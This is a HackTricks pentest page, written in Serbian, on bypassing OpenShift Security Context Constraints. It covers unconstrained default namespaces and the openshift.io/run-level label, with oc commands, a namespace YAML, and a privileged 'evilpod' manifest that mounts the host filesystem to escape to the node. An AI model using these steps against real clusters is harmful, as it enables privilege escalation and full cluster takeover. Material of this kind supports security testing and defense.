HackTricks TrainingTwitterLinkedinSponsor

OpenShift - SCC bypass

Originalni autor ove stranice je Guillaume

Privilegovani Prostori Imena

Prema podrazumevanim podešavanjima, SCC se ne primenjuje na sledeće projekte:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

Ako implementirate podove unutar jednog od ovih imenskih prostora, nijedan SCC neće biti primenjen, što omogućava implementaciju privilegovanih podova ili montiranje fajl sistema domaćina.

Oznaka Imenskog Prostora

Postoji način da se onemogući primena SCC-a na vašem podu prema RedHat dokumentaciji. Potrebno je da imate barem jedno od sledećih ovlašćenja:

  • Kreirajte Imenski Prostor i Kreirajte Pod u ovom Imenskom Prostoru

  • Uredite Imenski Prostor i Kreirajte Pod u ovom Imenskom Prostoru

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Specifična oznaka openshift.io/run-level omogućava korisnicima da zaobiđu SCC-ove za aplikacije. Prema RedHat dokumentaciji, kada se koristi ova oznaka, nijedan SCC nije primenjen na sve podove unutar tog imenskog prostora, efikasno uklanjajući bilo kakva ograničenja.

Dodavanje Oznake

Za dodavanje oznake u vaš imenski prostor:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Da biste kreirali namespace sa oznakom putem YAML datoteke:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Sada, svi novi podovi kreirani u namespace-u ne bi trebalo da imaju bilo koji SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

U odsustvu SCC-a, nema ograničenja na definiciju vašeg poda. To znači da se zlonamerni pod može lako kreirati da bi pobegao na sistem domaćina.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Sada je postalo lakše eskalirati privilegije kako bi se pristupilo hosts sistemu i kasnije preuzelo ceo klaster, stekavši privilegije 'cluster-admin'. Potražite deo Node-Post Exploitation na sledećoj stranici:

Attacking Kubernetes from inside a Pod

Prilagođene oznake

Osim toga, na osnovu ciljanog podešavanja, neke prilagođene oznake / anotacije mogu se koristiti na isti način kao u prethodnom scenariju napada. Čak i ako nije namenjeno, oznake se mogu koristiti za davanje dozvola, ograničavanje ili ne davanje pristupa određenim resursima.

Pokušajte da pronađete prilagođene oznake ako možete da pročitate neke resurse. Evo liste zanimljivih resursa:

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Nabroj sve privilegovane namespace-ove

$ oc get project -o yaml | grep 'run-level' -b5

Napredna eksploatacija

U OpenShift-u, kao što je ranije prikazano, imati dozvolu za implementaciju poda u namespace-u sa oznakom openshift.io/run-level može dovesti do jednostavnog preuzimanja klastera. Sa aspekta podešavanja klastera, ova funkcionalnost ne može biti onemogućena, jer je inherentna dizajnu OpenShift-a.

Međutim, mere zaštite poput Open Policy Agent GateKeeper-a mogu sprečiti korisnike da postave ovu oznaku.

Da bi zaobišli pravila GateKeeper-a i postavili ovu oznaku radi izvršenja preuzimanja klastera, napadači bi trebali identifikovati alternativne metode.

Reference

PreviousOpenShift - Tekton

Last updated